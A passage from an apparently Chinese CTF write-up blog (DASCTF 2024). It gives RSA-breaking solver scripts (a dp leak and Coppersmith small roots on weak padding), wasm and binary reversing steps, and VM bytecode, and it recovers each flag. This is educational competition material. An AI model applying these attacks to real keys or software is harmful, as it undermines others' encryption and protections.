53589538487289875479012684116246778147274714450209576105277816626983528993595125486641833027290704077932308918237978477501981907543847383655230156916578979044682282870153618849419762148348930652564442177633668690473147864322377146889467662769284463217004314651469157455678363085510100707437896627192687923547\n\ndd = inverse(p,phi)\nfor i in range(1,e):                   \n    if(dp*e-1)%i == 0:\n        if K%(((dp*e-1)\/\/i)+1) == 0:   \n            c=((dp*e-1)\/\/i)+1\n            # print(c)\n            m = pow(c,dd,n)\n            print(long_to_bytes(m))\n\n# b&#039;DASCTF{this_1s_crazy_Rsa}&#039;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_16.png\" alt=\"img\" \/> <\/p>\n<p>DASCTF{this_1s_crazy_Rsa}<\/p>\n<h3>real_rsa_2<\/h3>\n<p><a href=\"https:\/\/connor-mccartney.github.io\/cryptography\/other\/apbq-rsa-ii-DUCTF-2023\">https:\/\/connor-mccartney.github.io\/cryptography\/other\/apbq-rsa-ii-DUCTF-2023<\/a><\/p>\n<p>\u539f\u9898\uff0c\u53ea\u9700\u628an, c, h1,h2,h3\u66ff\u6362\u7136\u540esagemath\u8dd1\u5373\u53ef<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_17.png\" alt=\"img\" \/> <\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_18.png\" alt=\"img\" \/> <\/p>\n<p>DASCTF{0rtho_l4tt1c3_1s_fun_and_gr34t}<\/p>\n<h3>insecure_padding<\/h3>\n<p>Coppersmith\u7b97\u6cd5\u89e3\u51b3RSA<\/p>\n<p>\u77e5\u8bc6\u70b9\u6765\u81ea\uff1a<\/p>\n<p><a href=\"https:\/\/xz.aliyun.com\/t\/13769?time__1311=GqmxuQi%3DDQiQ%3DGXPjxUhQDnDjhHfODgioD\">https:\/\/xz.aliyun.com\/t\/13769?time__1311=GqmxuQi%3DDQiQ%3DGXPjxUhQDnDjhHfODgioD<\/a><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_19.png\" alt=\"img\" \/> <\/p>\n<p>\u8fd9\u91cc\u7684\u653b\u51fb\u5c5e\u4e8e\u4f4e\u4f4d\u653b\u51fb\u3002\u5df2\u77e5m\u7684\u4e00\u90e8\u5206\u4fe1\u606f\uff0c\u4f4elen\u4f4d\u5df2\u77e5<\/p>\n<p>\u5047\u8bbe\u660e\u6587 ( m ) \u53ef\u4ee5\u8868\u793a\u4e3a\uff1a <code>m = k \\cdot 2^{l \\cdot 8} + m_0<\/code><\/p>\n<p>\u6784\u9020\u4e00\u4e2a\u591a\u9879\u5f0f f(x) \u6765\u8868\u793a\u4e0a\u8ff0\u5173\u7cfb\uff1a <\/p>\n<p><code>[ f(x) = (x \\cdot 2^{l} + m_0)^e - c ]<\/code><\/p>\n<p>\u901a\u8fc7 Coppersmith \u65b9\u6cd5\uff0c\u6211\u4eec\u53ef\u4ee5\u5bfb\u627e\u591a\u9879\u5f0f ( f(x) ) \u5728\u6a21 ( n ) \u4e0b\u7684\u5c0f\u6839\uff0c\u8fd9\u4e9b\u5c0f\u6839\u5c31\u662f\u53ef\u80fd\u7684 ( k ) \u503c<\/p>\n<p>c\u662f\u5bc6\u6587\uff0cn\u662f\u6a21\u6570\uff0clen\u662f\u5df2\u77e5\u7684\u90e8\u5206\u4fe1\u606f\u7684\u957f\u5ea6<\/p>\n<p>\u521b\u5efa\u4e00\u4e2a\u591a\u9879\u5f0f\u73afP\uff0cx\u4f5c\u4e3a\u53d8\u91cf<\/p>\n<p><code>P.&lt;x&gt;=PolynomialRing(Zmod(n))<\/code><\/p>\n<p>\u628a\u53d8\u91cfx\u8f6c\u4e3a\u4e8c\u8fdb\u5236\uff0c\u56e0\u4e3a\u4e00\u5b57\u8282\u4e3a8bit\uff0c\u6240\u4ee5len*8\uff0c\u7b49\u5f0ff\u7684\u6784\u9020\u4e5f\u5c31\u662f\u8fd8\u539fpad<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_20.png\" alt=\"img\" \/> <\/p>\n<p>\u6839\u636epad\u548cflag\u7684\u957f\u5ea6\uff0c\u5f97\u5230<code>X=2^160<\/code><\/p>\n<p>\u641c\u7d22\u8303\u56f4\u5df2\u77e5\uff0c\u56e0\u4e3a\u53ea\u6709beta\u548cepsilon\u53c2\u6570\u53ef\u63a7\uff0c\u76f4\u63a5\u6b65\u957f0.01\u7206\u7834<\/p>\n<pre><code class=\"language-python\">from Crypto.Util.number import * \nc, e, n, l1=(1193333119181381225632504634109476125461718042032463066180160159530821008151288619914035008577444580123023483451618973104785206841878926362053767758825420307104536873166791566346076985369125399199847240472385775854381103486198612767122009780041785220241663307760491699892303259600093817957324293717178123893664313547870460181936283477289029428950611459484805364390503487619676794166358047636359524103138509752217552291498141048509236471615548177017684230320627457, 3, 1345974903151028106176188777499919289689885052993818155551239513162986365479059645712347472719763678799888312063629534224676532524320490059299999431455806985776161385636341889882617880557005343019148419971407438285456200388681742721058826527478752200546957229924712840178042652788689761602760552457535667154424045780264689394678280189407534443469304768432295723527834457536647823320807747766083091825227699222804959851169910812454526260545186908048603618547346519, 130) \nP.&lt;x&gt;=PolynomialRing(Zmod(n)) \nf=(x*2^(l1*8)+666)^3-c \nfor i in np.arange(0, 1.01, 0.01): \n  for j in np.arange(0, 1.01, 0.01): \n        root=f.monic().small_roots(X=2^160,beta=i,epsilon=j) \n        print(root) \n        for x in root: \n        print(long_to_bytes(int(x)))<\/code><\/pre>\n<p>\u5b9e\u9645\u4e0a\u6c42\u51fa\u7684\u53c2\u6570\u5982\u4e0b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_21.png\" alt=\"img\" \/> <\/p>\n<p>\u5df2\u77e5c ,e ,n ,l1<\/p>\n<pre><code class=\"language-python\">from Crypto.Util.number import * \nc, e, n, l1=(1193333119181381225632504634109476125461718042032463066180160159530821008151288619914035008577444580123023483451618973104785206841878926362053767758825420307104536873166791566346076985369125399199847240472385775854381103486198612767122009780041785220241663307760491699892303259600093817957324293717178123893664313547870460181936283477289029428950611459484805364390503487619676794166358047636359524103138509752217552291498141048509236471615548177017684230320627457, 3, 1345974903151028106176188777499919289689885052993818155551239513162986365479059645712347472719763678799888312063629534224676532524320490059299999431455806985776161385636341889882617880557005343019148419971407438285456200388681742721058826527478752200546957229924712840178042652788689761602760552457535667154424045780264689394678280189407534443469304768432295723527834457536647823320807747766083091825227699222804959851169910812454526260545186908048603618547346519, 130) \nP.&lt;x&gt;=PolynomialRing(Zmod(n)) \nf=(x*2^(l1*8)+666)^3-c \nroot=f.monic().small_roots(X=2^160,beta=0.64,epsilon=0.03) \nprint(root) \nfor x in root: \n  print(long_to_bytes(int(x)))\n\n# b&#039;P@dding_1s_important&#039;<\/code><\/pre>\n<p>flag\uff1aP@dding_1s_important<\/p>\n<h2>reverse<\/h2>\n<h3>ezhtml<\/h3>\n<p>\u6587\u4ef6<\/p>\n<ul>\n<li>ez.html<\/li>\n<li>ez.js<\/li>\n<li>ez.wasm<\/li>\n<\/ul>\n<p>\u67e5\u8be2wasm\u9006\u5411\uff1a<a href=\"https:\/\/blog.csdn.net\/weixin_52369224\/article\/details\/121566319\">wasm\u9006\u5411\u2014\u2014\uff08\u6781\u5ba2\u5927\u6311\u62182021wasm-CSDN\u535a\u5ba2<\/a><\/p>\n<p>\u5b89\u88c5\u9006\u5411\u5de5\u5177<\/p>\n<pre><code class=\"language-bash\">sudo apt install wabt<\/code><\/pre>\n<p>\u628awasm\u6587\u4ef6\u53cd\u7f16\u8bd1\u4e3ac\u6587\u4ef6<\/p>\n<pre><code class=\"language-bash\">wasm2c ez.wasm -o ez.c<\/code><\/pre>\n<p>\u53cd\u7f16\u8bd1\u51fa\u7684c\u6587\u4ef6\u53ef\u8bfb\u6027\u4e0d\u9ad8\uff0c\u91cd\u65b0\u7f16\u8bd1\u7136\u540e\u4f7f\u7528ida\u4f18\u5316<\/p>\n<pre><code class=\"language-bash\">gcc -c ez.c -o ez.o<\/code><\/pre>\n<p>\u7136\u540e\u6254\u8fdbida<\/p>\n<p>\u5173\u952e\u51fd\u6570<\/p>\n<pre><code class=\"language-C\">__int64 w2c_f7()\n{\n  int calc_index; \/\/ eax\n  unsigned int v2; \/\/ [rsp+10h] [rbp-160h]\n  unsigned int c_addr; \/\/ [rsp+8Ch] [rbp-E4h]\n  char c; \/\/ [rsp+90h] [rbp-E0h]\n  char calc_c; \/\/ [rsp+C4h] [rbp-ACh]\n  unsigned int equal_c_addr; \/\/ [rsp+F0h] [rbp-80h]\n  unsigned int v7; \/\/ [rsp+104h] [rbp-6Ch]\n  char v8; \/\/ [rsp+108h] [rbp-68h]\n  unsigned int v9; \/\/ [rsp+15Ch] [rbp-14h]\n  unsigned int v10; \/\/ [rsp+168h] [rbp-8h]\n  unsigned int v11; \/\/ [rsp+16Ch] [rbp-4h]\n\n  if ( ++wasm_rt_call_stack_depth &gt; 0x1F4u )\n    wasm_rt_trap(7LL);\n  w2c_g0 -= 64;                                 \/\/ \u5730\u5740\u51cf64\n  v2 = w2c_g0;\n  i32_store(&amp;w2c_memory, (unsigned int)w2c_g0 + 60LL, 0LL);\/\/ w2c_g0\u5f80\u524d4\u4e2a\u5b57\u8282\u8d4b\u503c\u4e3a0\n  w2c_f21(65554LL);\n  i32_store(&amp;w2c_memory, v2, v2 + 16);\n  w2c_f22(65545LL, v2);\n  if ( (unsigned int)w2c_f26(v2 + 16) == 35 )\n  {\n    i32_store(&amp;w2c_memory, v2 + 12LL, 0LL);\n    while ( (int)i32_load(&amp;w2c_memory, v2 + 12LL) &lt; 35 )\n    {\n      c_addr = i32_load(&amp;w2c_memory, v2 + 12LL) + v2 + 16;\/\/ \u53d6\u5355\u4e2a\u5b57\u7b26\u7684\u5730\u5740\uff084B\uff09\n      c = i32_load8_u(&amp;w2c_memory, c_addr);     \/\/ \u53d6\u5355\u4e2a\u5b57\u7b26\u7684\u503c\uff081B\uff09\n      calc_index = (int)(i32_load(&amp;w2c_memory, v2 + 12LL) + 1) % 35;\/\/ \u731c\u6d4bv2 + 12\u5e94\u8be5\u662f\u7d22\u5f15\uff084B\uff09\n      calc_c = i32_load8_u(&amp;w2c_memory, calc_index + v2 + 16);\n      equal_c_addr = i32_load(&amp;w2c_memory, v2 + 12LL) + v2 + 16;\n      i32_store8(&amp;w2c_memory, equal_c_addr, calc_c &amp; 0xF ^ (unsigned int)c);\n      v7 = i32_load(&amp;w2c_memory, v2 + 12LL) + v2 + 16;\n      v8 = i32_load8_u(&amp;w2c_memory, v7);\n      v10 = i32_load(&amp;w2c_memory, v2 + 12LL);\n      if ( v8 != (char)i32_load8_u(&amp;w2c_memory, v10 + 66160LL) )\n        goto LABEL_4;\n      v11 = i32_load(&amp;w2c_memory, v2 + 12LL) + 1;\n      i32_store(&amp;w2c_memory, v2 + 12LL, v11);\n    }\n    w2c_f21(65578LL);\n    i32_store(&amp;w2c_memory, v2 + 60LL, 0LL);\n  }\n  else\n  {\nLABEL_4:\n    w2c_f21(65571LL);\n    i32_store(&amp;w2c_memory, v2 + 60LL, 0LL);\n  }\n  v9 = i32_load(&amp;w2c_memory, v2 + 60LL);\n  w2c_g0 = v2 + 64;\n  --wasm_rt_call_stack_depth;\n  return v9;\n}<\/code><\/pre>\n<p>\u5173\u952e\u5b57\u7b26\u4e32 <code>&#039;EBPGRM|VE9B]Q5Sb4vJ^2|ZoU[t?SiDf9Cx&#039;<\/code><\/p>\n<p>\u624b\u6413flag<\/p>\n<pre><code class=\"language-python\">>&gt;&gt; chr(ord(&#039;E&#039;)&amp;0xf^ord(&#039;x&#039;))\n&#039;}&#039;\n>&gt;&gt; chr(ord(&#039;}&#039;)&amp;0xf^ord(&#039;C&#039;))\n&#039;N&#039;\n>&gt;&gt; chr(ord(&#039;N&#039;)&amp;0xf^ord(&#039;9&#039;))\n&#039;7&#039;\n>&gt;&gt; chr(ord(&#039;7&#039;)&amp;0xf^ord(&#039;f&#039;))\n&#039;a&#039;\n>&gt;&gt; chr(ord(&#039;a&#039;)&amp;0xf^ord(&#039;D&#039;))\n&#039;E&#039;\n>&gt;&gt; chr(ord(&#039;E&#039;)&amp;0xf^ord(&#039;i&#039;))\n&#039;l&#039;\n>&gt;&gt; chr(ord(&#039;l&#039;)&amp;0xf^ord(&#039;S&#039;))\n&#039;_&#039;\n>&gt;&gt; chr(ord(&#039;_&#039;)&amp;0xf^ord(&#039;?&#039;))\n&#039;0&#039;\n>&gt;&gt; chr(ord(&#039;0&#039;)&amp;0xf^ord(&#039;t&#039;))\n&#039;t&#039;\n>&gt;&gt; chr(ord(&#039;t&#039;)&amp;0xf^ord(&#039;[&#039;))\n&#039;_&#039;\n>&gt;&gt; chr(ord(&#039;_&#039;)&amp;0xf^ord(&#039;U&#039;))\n&#039;Z&#039;\n>&gt;&gt; chr(ord(&#039;Z&#039;)&amp;0xf^ord(&#039;o&#039;))\n&#039;e&#039;\n>&gt;&gt; chr(ord(&#039;e&#039;)&amp;0xf^ord(&#039;Z&#039;))\n&#039;_&#039;\n>&gt;&gt; chr(ord(&#039;_&#039;)&amp;0xf^ord(&#039;|&#039;))\n&#039;s&#039;\n>&gt;&gt; chr(ord(&#039;s&#039;)&amp;0xf^ord(&#039;2&#039;))\n&#039;1&#039;\n>&gt;&gt; chr(ord(&#039;1&#039;)&amp;0xf^ord(&#039;^&#039;))\n&#039;_&#039;\n>&gt;&gt; chr(ord(&#039;_&#039;)&amp;0xf^ord(&#039;J&#039;))\n&#039;E&#039;\n>&gt;&gt; chr(ord(&#039;E&#039;)&amp;0xf^ord(&#039;v&#039;))\n&#039;s&#039;\n>&gt;&gt; chr(ord(&#039;s&#039;)&amp;0xf^ord(&#039;4&#039;))\n&#039;7&#039;\n>&gt;&gt; chr(ord(&#039;7&#039;)&amp;0xf^ord(&#039;b&#039;))\n&#039;e&#039;\n>&gt;&gt; chr(ord(&#039;e&#039;)&amp;0xf^ord(&#039;S&#039;))\n&#039;V&#039;\n>&gt;&gt; chr(ord(&#039;V&#039;)&amp;0xf^ord(&#039;5&#039;))\n&#039;3&#039;\n>&gt;&gt; chr(ord(&#039;3&#039;)&amp;0xf^ord(&#039;Q&#039;))\n&#039;R&#039;\n>&gt;&gt; chr(ord(&#039;R&#039;)&amp;0xf^ord(&#039;]&#039;))\n&#039;_&#039;\n>&gt;&gt; chr(ord(&#039;_&#039;)&amp;0xf^ord(&#039;B&#039;))\n&#039;M&#039;\n>&gt;&gt; chr(ord(&#039;M&#039;)&amp;0xf^ord(&#039;9&#039;))\n&#039;4&#039;\n>&gt;&gt; chr(ord(&#039;4&#039;)&amp;0xf^ord(&#039;E&#039;))\n&#039;A&#039;\n>&gt;&gt; chr(ord(&#039;A&#039;)&amp;0xf^ord(&#039;V&#039;))\n&#039;W&#039;\n>&gt;&gt; chr(ord(&#039;W&#039;)&amp;0xf^ord(&#039;|&#039;))\n&#039;{&#039;\n>&gt;&gt; chr(ord(&#039;{&#039;)&amp;0xf^ord(&#039;M&#039;))\n&#039;F&#039;\n>&gt;&gt; chr(ord(&#039;F&#039;)&amp;0xf^ord(&#039;R&#039;))\n&#039;T&#039;\n>&gt;&gt; chr(ord(&#039;T&#039;)&amp;0xf^ord(&#039;G&#039;))\n&#039;C&#039;\n>&gt;&gt; chr(ord(&#039;C&#039;)&amp;0xf^ord(&#039;P&#039;))\n&#039;S&#039;\n>&gt;&gt; chr(ord(&#039;S&#039;)&amp;0xf^ord(&#039;B&#039;))\n&#039;A&#039;\n>&gt;&gt; chr(ord(&#039;A&#039;)&amp;0xf^ord(&#039;E&#039;))\n&#039;D&#039;<\/code><\/pre>\n<p>DASCTF{WA4M_R3Ve7sE_1s_eZ_t0_lEa7N}<\/p>\n<h3>BlackJack<\/h3>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_22.png\" alt=\"img\" \/> <\/p>\n<p>\u6b64\u5904\u731c\u6d4b\u4e3a\u6b21\u6570\u5224\u65ad<\/p>\n<p>\u627e\u5230\u521d\u59cb\u8be5\u53d8\u91cf\u7684\u51fd\u6570<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_23.png\" alt=\"img\" \/> <\/p>\n<p>\u4f7f\u7528\u52a8\u6001\u8c03\u8bd5\uff0c\u5728\u8fd0\u884c\u65f6\u4fee\u6539\u521d\u59cb\u503c<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_24.png\" alt=\"img\" \/> <\/p>\n<p>\u4f46\u662f\u8fd0\u884c\u65f6\u4f1a\u8c03\u7528\u4e24\u6b21\u8fd9\u4e2a\u521d\u59cb\u51fd\u6570\uff0c\u731c\u6d4b\u662fpc\u73a9\u5bb6\u548c\u7528\u6237\u5404\u4e00\u4e2a<\/p>\n<p>\u6240\u4ee5\u6709\u4e00\u6b21\u8c03\u7528\u8be5\u51fd\u6570\u65f6\u9700\u8981\u5c06\u8be5\u53d8\u91cf\u4fee\u6539\u4e3a10\uff0c\u800c\u53e6\u4e00\u6b21\u5219\u4e0d\u9700\u8981\u4fee\u6539<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_25.png\" alt=\"img\" \/> <\/p>\n<p>DASCTF{Bl4cK_jAcK_1s_fUnnY}<\/p>\n<h3>downcity<\/h3>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_26.png\" alt=\"img\" \/> <\/p>\n<p>\u7c7bRC4\uff1f\u4f46\u662f\u85cf\u4e86\u4e00\u6574\u4e2avm\uff0c\u6240\u4ee5\u52a8\u8c03\u4e0b\u65ad\u70b9\u5728RC4\u5165\u53e3\u548cstrcmp\u884c\u4e3a<\/p>\n<p>\u4e3b\u903b\u8f91\u5f97\u5230\u7684\u662f\uff1aDASCTF{fake<em>flag<\/em>!!}<\/p>\n<p>\u6240\u4ee5\u628avm\u6574\u4e2adown\u4e0b\u6765\uff0c\u7528C\u7f16\u8bd1\u8fd0\u884c\u67e5\u770b\u903b\u8f91<\/p>\n<p>\u63d2\u6869\u9010\u4f4d\u7206\u7834\u5373\u53ef<\/p>\n<pre><code class=\"language-c\">#include &lt;iostream&gt;\n#include &lt;vector&gt;\n#include &lt;string&gt;\n#include &lt;cctype&gt;\n#include &lt;unordered_map&gt;\n#include &lt;unordered_set&gt;\nusing namespace std;\nunsigned char s[] ={\n    0,   0,   0,   0,   7,   0,   0,   0,   1,   1,\n    0,   0,   3,   0,   0,   0,   1,  69,   0,   0,\n    1,   8,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   1,   2,   0,   0,   3,   0,   0,   0,\n    1,  67,   0,   0,   1,  19,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   1,   3,   0,   0,\n    3,   0,   0,   0,   1,  86,   0,   0,   1,  30,\n    0,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    1,   1,   0,   0,   3,   0,   0,   0,   1,  68,\n    0,   0,   1,  41,   0,   0,  10,   0,   0,   0,\n    1, 112,   1,   0,   9,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    7,   0,   0,   0,   1,   2,   0,   0,   3,   0,\n    0,   0,   1,  86,   0,   0,   1,  52,   0,   0,\n    10,   0,   0,   0,   1, 112,   1,   0,   9,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   7,   0,   0,   0,   1,   3,\n    0,   0,   3,   0,   0,   0,   1,  73,   0,   0,\n    1,  63,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   5,   8,   0,   0,   1,   1,   0,   0,\n    4,   0,   0,   0,   1,   1, 123,   0,   1,  75,\n    0,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   8,   0,   0,   1,   2,   0,   0,   4,   0,\n    0,   0,   1,   2, 104,   0,   1,  87,   0,   0,\n    10,   0,   0,   0,   1, 112,   1,   0,   9,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   7,   0,   0,   0,   5,   8,\n    0,   0,   1,   3,   0,   0,   4,   0,   0,   0,\n    1,   3,  49,   0,   1,  99,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   8,   0,   0,\n    1,   1,   0,   0,   4,   0,   0,   0,   1,   1,\n    68,   0,   1, 111,   0,   0,  10,   0,   0,   0,\n    1, 112,   1,   0,   9,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    7,   0,   0,   0,   5,   8,   0,   0,   1,   1,\n    0,   0,   4,   0,   0,   0,   1,   1, 101,   0,\n    1, 123,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   5,   8,   0,   0,   1,   2,   0,   0,\n    4,   0,   0,   0,   1,   2, 110,   0,   1, 135,\n    0,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   8,   0,   0,   1,   3,   0,   0,   4,   0,\n    0,   0,   1,   3,  95,   0,   1, 147,   0,   0,\n    10,   0,   0,   0,   1, 112,   1,   0,   9,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   7,   0,   0,   0,   1,   1,\n    0,   0,   3,   0,   0,   0,   1,  87,   0,   0,\n    1, 158,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   1,   2,   0,   0,   3,   0,   0,   0,\n    1, 111,   0,   0,   1, 169,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   1,   3,   0,   0,\n    3,   0,   0,   0,   1,  98,   0,   0,   1, 180,\n    0,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    1,   1,   0,   0,   3,   0,   0,   0,   1,  74,\n    0,   0,   1, 191,   0,   0,  10,   0,   0,   0,\n    1, 112,   1,   0,   9,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    7,   0,   0,   0,   1,   2,   0,   0,   3,   0,\n    0,   0,   1,  53,   0,   0,   1, 202,   0,   0,\n    10,   0,   0,   0,   1, 112,   1,   0,   9,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   7,   0,   0,   0,   1,   3,\n    0,   0,   3,   0,   0,   0,   1,  98,   0,   0,\n    1, 213,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   1,   2,   0,   0,   3,   0,   0,   0,\n    1,  85,   0,   0,   1, 224,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   1,   0,   0,\n    1, 222,   0,   0,   1, 234,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   2,   0,   0,\n    1, 188,   1,   0,   1, 244,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   3,   0,   0,\n    1, 128,   1,   0,   1, 254,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   8,   0,   0,\n    1,   1,   0,   0,   4,   0,   0,   0,   1,   1,\n    95,   0,   1,  10,   1,   0,  10,   0,   0,   0,\n    1, 112,   1,   0,   9,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    7,   0,   0,   0,   5,   8,   0,   0,   1,   2,\n    0,   0,   4,   0,   0,   0,   1,   2,  70,   0,\n    1,  22,   1,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   5,   8,   0,   0,   1,   3,   0,   0,\n    4,   0,   0,   0,   1,   3, 117,   0,   1,  34,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   1,   0,   0,   1, 220,   0,   0,   1,  44,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   2,   0,   0,   1, 124,   1,   0,   1,  54,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   3,   0,   0,   1,   8,   1,   0,   1,  64,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   3,   0,   0,   1, 232,   3,   0,   1,  74,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   1,  67,   0,   0,\n    8,   0,   0,   0,   1, 111,   0,   0,   8,   0,\n    0,   0,   1, 110,   0,   0,   8,   0,   0,   0,\n    1, 103,   0,   0,   8,   0,   0,   0,   1, 114,\n    0,   0,   8,   0,   0,   0,   1,  97,   0,   0,\n    8,   0,   0,   0,   1, 116,   0,   0,   8,   0,\n    0,   0,   1, 117,   0,   0,   8,   0,   0,   0,\n    1, 108,   0,   0,   8,   0,   0,   0,   1,  97,\n    0,   0,   8,   0,   0,   0,   1, 116,   0,   0,\n    8,   0,   0,   0,   1, 105,   0,   0,   8,   0,\n    0,   0,   1, 111,   0,   0,   8,   0,   0,   0,\n    1, 110,   0,   0,   8,   0,   0,   0,   1, 115,\n    0,   0,   8,   0,   0,   0,   1,  33,   0,   0,\n    8,   0,   0,   0,   1,  10,   0,   0,   8,   0,\n    0,   0,  12,   0,   0,   0,   1,  84,   0,   0,\n    8,   0,   0,   0,   1, 114,   0,   0,   8,   0,\n    0,   0,   1, 121,   0,   0,   8,   0,   0,   0,\n    1,  44,   0,   0,   8,   0,   0,   0,   1,  65,\n    0,   0,   8,   0,   0,   0,   1, 103,   0,   0,\n    8,   0,   0,   0,   1,  97,   0,   0,   8,   0,\n    0,   0,   1, 105,   0,   0,   8,   0,   0,   0,\n    1, 110,   0,   0,   8,   0,   0,   0,   1,  33,\n    0,   0,   8,   0,   0,   0,   1,  10,   0,   0,\n    8,   0,   0,   0,  12,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,  